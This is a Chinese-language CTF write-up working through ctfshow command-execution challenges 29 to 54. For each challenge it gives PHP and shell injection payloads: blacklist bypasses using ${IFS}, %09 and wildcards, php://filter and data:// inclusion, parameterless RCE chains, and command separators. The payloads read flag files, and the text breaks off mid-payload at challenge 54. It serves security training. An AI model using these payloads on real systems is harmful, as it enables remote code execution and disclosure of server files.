0%

ctfshow命令执行

命令执行

29题

image-20220312140308073

本题过滤了flag,直接get?c=system("cat f*");要注意的是括号后面的;一定不能少

30题

image-20220312140232958

本题过滤了system|flag,用一个代替system()的函数

命令执行的函数有很多种

1
2
3
4
5
6
7
system()
passthru()
shell_exec()
popen()
porc_open()
pcntl_exec()
反引号 同shell_exec()

只有system函数是有回显的,其他的函数可以通过echo等显示

这里可以使用反引号绕过

1.c=echo'cat f*';

2.?c=echo "npfs "; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

3.?c=passthru("cat /f*");

31题

过滤了system|cat|flag|空格

空格绕过

1
2
3
4
5
6
7
> < <>重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //逗号实现了空格的功能
%20
%09

cat被过滤

1
2
3
4
5
6
7
8
9
10
11
12
more:一页一页的显示档案内容
less:与more相似
head:查看头几行
tac:从最后一行开始显示,可以看出tac是cat的反向显示
tail:查看尾几行
nl:查看的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

1.c=echo(tac%09f*);

2.?c=passthru("more%09f*");

3.c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

直接单引号改双引号即可

32题

image-20220312141347784

在31题的基础上又过滤了括号,但是没过滤双引号

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

base64解码,得到flag

image-20220312142351097

33题

image-20220312142624368

在前面的基础上又过滤了双引号

1.?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

2.``?c=include $_POST[a]?> 1=php://filter/read=convert.base64-encode/resource=flag.php

base64解码得到flag

34题

image-20220312143300880

在上面的基础上又多过滤了一个分号,但是不起什么作用

解法还是同33题

35题

image-20220312143907450

多过滤了一个<,没什么用

同33题

36题

image-20220312145258685

在前面几题的基础上过滤了数字,但是解法跟33题一样

37题

image-20220312145223510

本题使用了PHP文件包含函数include(),利用伪协议读取flag

1
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流就会被当作php文件执行

flag.php可以通过通配符绕过

POC:?c=data://text/plain,<?php system("cat f*");

38题

image-20220312150746965

在37题的基础上过滤了php,利用base64编码绕过

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=的意思是<?php system(“cat flag.php”)

39题

本题没有有过滤php

1
?c=data://text/plain<?php system("cat f*");?>

40题

image-20220312152859983

过滤了引号,$,:,还不能用php伪协议

一般的括号里面都要用引号,所以这里可以试着用一下无参数RCE(remote command/code execute)

无参数的意思是a(),a(b()),a(b(c())),但是不能是a(‘b’)或者a(‘b’,’c’),不能带参数

1.print_r(scandir(‘.’));查看当前目录下的所有文件名

2.localeconv()函数返回一包含本地数字及货币格式信息的数组

3.current()函数返回数组中的当前元素(单位),默认去第一个值,和post()一样,但是这题过滤了引号,不能有参数,找一个代替'.'的东西

print_r(scandir(current(localeconv())));打印出

当前目录下文件

flag.php在倒数第二个,我们可以通过array_reverse进行逆转数组,然后用next()函数进行下一个值的读取,直接用next(array_reverse());

payload: ?c=show_source(next(array_reverse(scandir(current(localeconv())))));

41题

unsloved

42题

image-20220312162511799

>/dev/null 2>&1主要意思是不进行回显的意思

我们想让命令回显,那么进行命令分隔即可

1
2
3
4
5
;   //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

1.?c=ls;

2.?c=cat flag.php;

3.?c=cat flag.php||

43题

image-20220312163310834

过滤了;|cat

1.?c=ls%0a

2.?c=more flag.php%0a

3.?c=sort flag.php||

44题

image-20220312171705422

过滤了;|cat|flag

?c=ls%0a

?c=more f*%0a

通配符也可以绕过

?c=sort%20fl*||

45题

image-20220312171542457

过滤了;|cat|flag|空格

?c=ls%0a

?c=more${IFS}f*%0a

46题

image-20220312171412627

过滤了;|cat|flag|空格|数字|$|*

?c=ls%0a

?c=more%09fla?.php%0a(这里的%09是空格不是数字)

47题

image-20220312171323162

过滤了;|cat|flag|空格|数字|$|*|几个查看文件的命令

?c=ls%0a

?c=nl%09fla?.php%0a

48题

image-20220312172509277

同47

49题

image-20220312172617146

同47

50题

image-20220312172745788

过滤了;|cat|flag|空格|数字|$|*|几个查看文件的命令|%

<>和?一起使用时没有回显,所以这里的?可以用反斜杠进行代替

1.?c=ls%0a

2.?c=nl<>fla\g.php%0a

3.?c=tac<>fla\g.php||

51题

image-20220312174632727

%0a是换行,同样可以进行命令分隔;tac被过滤,换nl

?c=nl<>fla\g.php%0a

52题

image-20220315210801979

?c=nl${IFS}fla\g.php%0a

image-20220315205648002

发现是假的,直接连接一下根目录,发现有flag

image-20220315205846765

所以直接抓flag ?c=nl${IFS}/fla\g%0aimage-20220315210356796

53题

image-20220315210928431

?c=nl${IFS}fla\g.php

54题

image-20220315211430647

grep

1
grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

`?c=grep${IFS}%27